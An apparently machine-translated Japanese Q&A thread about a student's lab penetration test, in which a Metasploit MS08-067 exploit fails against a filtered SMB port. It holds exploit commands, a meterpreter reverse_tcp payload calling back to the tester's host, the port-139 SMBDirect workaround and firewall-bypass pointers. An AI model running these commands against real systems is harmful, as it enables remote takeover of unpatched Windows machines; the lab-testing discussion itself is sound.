私は講師が研究室に設置したマシンに対していくつかのペンテストを行っています。 NMAPはポート445がフィルタリングされることを示し、Nessusはそのマシンにms08_067脆弱性が存在することを確認します。
私はそれに対してMetasploitを通常の方法で実行してみました:
use exlpoit/windows/smb/ms08_067_netapi
set RHOST TARGET_IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST MY_IP
exploit
それは私に伝えます:
[-]エクスプロイトが失敗しました[到達不能]:Rex :: ConnectionRefused接続がリモートホストによって拒否されました(192.168.2.2:445)
ポート445がフィルターされているため、このエクスプロイトは失敗していると思います。私が困惑しているのは、Nessusが明らかに脆弱性の存在を確認できることです。 Nessusはフィルターされたポートを介してそれを行うことができるので、フィルターされたポートを介してエクスプロイトを起動する方法はありますか?整理する必要のあるMetasploit設定はありますか?
矛盾する情報があります。nmapはポートがフィルタリングされていると言いますが、nessusはシステムに脆弱性が存在すると言っています。両方が真実であることはできません。これらの1つが間違っている必要があります。 metasploitが接続できないことを考えると、nessusが正しく報告していないか、他の開いているポートから収集した情報に基づいて脆弱性レポートを作成している可能性があります。 そのアドバイザリのTenableのページ を見ると、nessusがポート139またはポート445を使用してテストできることがわかります。そのため、139はおそらく開いており、悪用される可能性があります。
ポート445(SMB)が閉じている場合でも、ポート139(NetBios)を介してこの脆弱性を悪用できる場合があります。 metasploitでは、次の構文を使用します。
set RPORT 139; set SMBDirect false; exploit
tl; drいいえ、フィルターされたポートを介してこの脆弱性を直接悪用することはできず、この方法では検出されません。あなたのシナリオでは何か他のことが起こっているに違いありません。
なぜ?
このポートがフィルタリングされて戻ってきた場合、ファイアウォールまたはIPSがパケットをドロップしているため、サーバーから応答を受信していません。この欠陥(MS08-067)は検出のみ可能です。脆弱性スキャナーがSMB=このポートへの接続を確立できる場合、Nessusによって。Nessusはファイアウォールを自動的にバイパスしようとはしませんが、 mightは、異なる結果をもたらす可能性のある異なる種類のポートスキャンを実行しています。
表示されている結果の考えられる理由:
Nessusは別のポート、おそらくTCP/139上のNetBIOS over TCP(NBT)で脆弱性を検出している可能性があります。Nessusレポートを注意深く確認してください。この場合、set RPORT 139
およびset SMBDirect false
。後者は詳細オプション(show advanced
)。
何らかの侵入防止がユーザーとターゲットホスト間(またはターゲットホスト上)で実行されているため、ポートスキャン結果に一貫性がありません。さまざまな構成でNMAPを実行してみてください(-sS
、-sT
、-p445,139
etc)結果が一貫しているかどうかを確認します。これは、Nessusがそれを検出できる理由を実際には説明していませんが、Metasploitで悪用されることはありません。ラボが特にIPS回避のためにセットアップされていない限り、ラボ環境ではありそうにありません。
「フィルター済み」は通常、ポートから応答が受信されなかったことを意味します(RSTパケットで応答するクローズとは対照的に-ウィキペディアの ポートスキャナーを参照してください ))。これは通常、ファイアウォールがそのポートに送信されるパケットをドロップしているだけで、悪用される可能性は低いことを示しています。
BNAT-Suite(Metasploitにも含まれている)手法またはNmap NSE firewallbypass手法)を使用して、ファイアウォールまたはIPフィルタリングメカニズムを通過できる場合があります。
同じ問題が発生しました。ポート139および445を使用したsmb-vuln-ms08-067でのnmapスキャンで、スキャンしたシステムが脆弱であることが示されましたが、エクスプロイトは機能しませんでした。
set RPORT 139
そして
set SMBDirect false
私のために働いた(Ricardo Reimaoのおかげで、コメントしたかったが、うまくいかなかった)
以前にポートを139に設定しようとしましたが、SMBDirectオプションについては知りませんでした。
「オプションの表示」と入力したときにmsfがオプションを表示しないのはなぜかと思っていたところ、「高度なコマンドを表示」コマンドでさらに多くのオプションを表示できることがわかりました。
msf exploit(windows/smb/ms08_067_netapi) > show advanced
Module advanced options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
...
SMBDirect false no The target port is a raw SMB service (not NetBIOS)
...